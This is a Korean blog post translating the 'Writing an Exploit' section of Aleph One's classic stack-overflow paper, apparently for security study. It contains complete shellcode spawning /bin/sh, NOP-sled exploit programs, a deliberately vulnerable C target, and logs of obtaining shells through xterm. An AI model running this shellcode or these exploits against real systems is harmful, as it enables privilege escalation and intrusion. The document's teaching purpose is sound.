일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
- general skills
- 시스템해킹
- write up
- picoCTF2018
- Protostar
- 리버싱
- 번역
- 카이사르
- Smashing The Stack For Fun And Profit
- dreamhack
- 리눅스
- grep
- 해킹 공부
- 정답
- WEB
- KOISTUDY
- #picoCTF2018
- 해설
- reversing
- Hxd
- picoCTF
- writeup
- #hacking
- Aleph One
- 시스템
- cryptography
- 스택
- forensics
- CTF
- 버퍼오버플로우
- Today
- Total
Security || AI
[시스템 공부] Smashing The Stack For Fun And Profit (4) 번역 본문
[시스템 공부] Smashing The Stack For Fun And Profit (4) 번역
보안&인공지능 2018. 11. 5. 11:21Writing an Exploit
익스플로잇 짜기
~~~~~~~~~~~~~~~~~
(or how to mung the stack)
(또는 어떻게 스택을 망가뜨리는가)
~~~~~~~~~~~~~~~~~~~~~~~~~`
이제 모든 조각들을 조합해 보자. 우리는 쉘코드를 가지고 있다. 우리는 이것이 버퍼오버플로우에 사용할 문자열의 부분이 되어야 한다는 것을 알고있다. 우리는 버퍼에 복귀 주소를 다시 지정해야한다는 것을 알고 있다. 이 예제는 이러한 점들을 증명할 것이다:
overflow1.c
------------------------------------------------------------------------------
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char large_string[128];
void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;
for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];
strcpy(buffer,large_string);
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o exploit1 exploit1.c
[aleph1]$ ./exploit1
$ exit
exit
[aleph1]$
------------------------------------------------------------------------------
위에서 한 일은 large_string[]배열을 우리의 코드가 있게 될 buffer[]의 주소로 채운 것이다. 그리고 쉘코드를 large_string문자열에 복사한다. strcpy() 함수는 한계를 확인하지 않고 large_string을 버퍼에 복사한다, 그리고 복귀 함수를 오버플로우 시킬 것이고, 우리의 코드가 위치한 주소에 이(복귀 함수)를 덮어 쓸 것이다. main 끝에 도달하면 우리의 코드로 점프하려 할 것이고, 쉘을 실행시킨다.
다른 프로그램의 프로그램을 오버플로우 하면서 직면하는 또다른 문제는 우리의 코드가 있게 될 버퍼의 주소가 어디가 될지를 찾는 것이다. 그 해답은 모든 프로그램은 같은 주소에서 시작한다는 것이다. 대부분의 프로그램은 수백 또는 수천 바이트를 한 번에 스택에 밀어 넣지 않는다. 그러므로 어디서 스택이 시작하는지 우리는 추측하면서, 오버플로우 하려는 버퍼가 어디에 위치하는지 알아 낼 수 있다. 다음은 스택 포인터를 출력하는 간단한 프로그램이다:
sp.c
------------------------------------------------------------------------------
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main() {
printf("0x%x\n", get_sp());
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ ./sp
0x8000470
[aleph1]$
------------------------------------------------------------------------------
이 프로그램이 우리가 오버플로우하려는 프로그램이라 가정하자:
vulnerable.c
------------------------------------------------------------------------------
void main(int argc, char *argv[]) {
char buffer[512];
if (argc > 1)
strcpy(buffer,argv[1]);
}
------------------------------------------------------------------------------
우리는 버퍼 사이즈를 가져오는 프로그램을 만들 수 있고, 스택 포인터(우리가 오버플로우를 하려는 버퍼가 위치할 수 있는곳)으로부터 거리를 가져오는 프로그램을 만들 수 있다. 조작하기 쉽도록, 로버플로우 문자열은 환경 변수에 넣을 것이다.
exploit2.c
------------------------------------------------------------------------------
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr += 4;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
}
------------------------------------------------------------------------------
이제 우리는 버퍼가 무엇이고, 오프셋이 얼마인지 추측할 수 있다:
------------------------------------------------------------------------------
[aleph1]$ ./exploit2 500
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
[aleph1]$ exit
[aleph1]$ ./exploit2 600
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
Illegal instruction
[aleph1]$ exit
[aleph1]$ ./exploit2 600 100
Using address: 0xbffffd4c
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
[aleph1]$ ./exploit2 600 200
Using address: 0xbffffce8
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
.
.
.
[aleph1]$ ./exploit2 600 1564
Using address: 0xbffff794
[aleph1]$ ./vulnerable $EGG
$
------------------------------------------------------------------------------
우리도 알 듯이 이는 효율적인 프로세스가 아니다. 스택의 시작을 알고 있어도 거리를 추측하는 것은 거의 불가능하다. 우리는 잘해야 수 백번, 나쁘면 수 천번을 시도해야 할 수도 있다. 문제는 우리의 코드의 주소가 어디서 시작할지 정확하게 알아야 한다는 것이다. 만약 1 바이트라도 많거나 적게 추측한다면 segmentation violation 혹은 유효하지 않은 명령어 오류가 발생할 것이다. 우리가 기회를 늘리는 방법은 오버플로우 버퍼의 앞부분을 NOP로 채우는 것이다. 되부분 모든 프로세서들은 아무 작업을 하지 않는 NOP명령을 가지고 있다. 이는 타이밍을 위해 실행을 지연시키는 목적으로 사용된다. 우리는 중앙에 우리의 쉘코드를 위치시킬 것이고, 복귀 주소로 따른다. 만약 우리가 운이 좋고 복귀 주소가 NOP들로 이루어진 문자열을 가리킨다면 우리의 코드에 도달할 때까지 실행할 것이다. 인텔 아키텍처에서 NOP명령은 1바이트 길이이거나 기계어로 0x90으로 번역된다. 스택이 0xFF주소로 시작하고, S는 쉘코드를 N은 NOP명령어라 한다면 새로운 스택은 이렇게 생길 것이다.
bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of
memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory
buffer sfp ret a b c
<------ [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE]
^ |
|_____________________|
top of bottom of
stack stack
새로운 익스플로잇은 아래와 같다:
exploit3.c
------------------------------------------------------------------------------
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
for (i = 0; i < bsize/2; i++)
buff[i] = NOP;
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
}
------------------------------------------------------------------------------
버퍼 크기에 적합한 선택은 오버플로우하려는 버퍼 크기보다 약 100바이트 많게 잡는 것이다. 이는 우리가 오버플로우하려는 버퍼의 끝에 우리의 코드를 위치하여NOP들을 위해 많은 공간을 제공하지만 우리가 예상한 주소로 반환 주소를 덮어 쓴다. 우리가 오버플로우하려는 버퍼는 512바이트의 크기이므로, 우리는 612 바이트를 사용할 것이다. 우리의 test프로그램을 새로운 익스플로잇을 사용하여 오버플로우를 시도해보자.
------------------------------------------------------------------------------
[aleph1]$ ./exploit3 612
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
$
------------------------------------------------------------------------------
첫번째 시도이다! 이 변화는 우리의 가능성을 100배 향상시켰다. 이제 실제 경우의 버퍼오버플로우를 시도해보자. 시연을 위하여 Xt 라이브러리를 버퍼오버플로우 하는데 사용하여 보자. 예시로, 우리는 xterm(모든 프로그램들이 Xt 라이브러리로 연결되어있는 취약한 것). X 서버를 무조건 실행 해야하고, 로컬호스트로부터 연결을 허용해야한다. Display값을 아래와 같이 변경하여라.
------------------------------------------------------------------------------
[aleph1]$ export DISPLAY=:0.0
[aleph1]$ ./exploit3 1124
Using address: 0xbffffdb4
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: Color name "^1FF
V
1@/bin/sh
^C
[aleph1]$ exit
[aleph1]$ ./exploit3 2148 100
Using address: 0xbffffd48
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: Color name "^1FF
V
1@/bin/shHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
HHHHHHHHHHHH
Warning: some arguments in previous message were lost
Illegal instruction
[aleph1]$ exit
.
.
.
[aleph1]$ ./exploit4 2148 600
Using address: 0xbffffb54
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: Color name "^1FF
V
1@/bin/shTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT
TTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT
TTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT
TTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT
TTTTTTTTTTTT
Warning: some arguments in previous message were lost
bash$
------------------------------------------------------------------------------
유레카! 더욱 12번도 적은 시도로 magic numbers를 찾아냈다. 만약 xterm이 suid root로 실행되었다면, 이는 root쉘이 되었을 것이다.
'Hacking&Security > 시스템[System]' 카테고리의 다른 글
[시스템 공부] Smashing The Stack For Fun And Profit 번역본 PDF (3) | 2018.11.05 |
---|---|
[시스템 공부] Smashing The Stack For Fun And Profit (최종) 번역 (0) | 2018.11.05 |
[시스템 공부] Smashing The Stack For Fun And Profit (3) 번역 (0) | 2018.11.05 |
[시스템 공부] Smashing The Stack For Fun And Profit (2) 번역 (0) | 2018.10.29 |
[시스템 공부] Smashing The Stack For Fun And Profit(1) 번역 (0) | 2018.10.26 |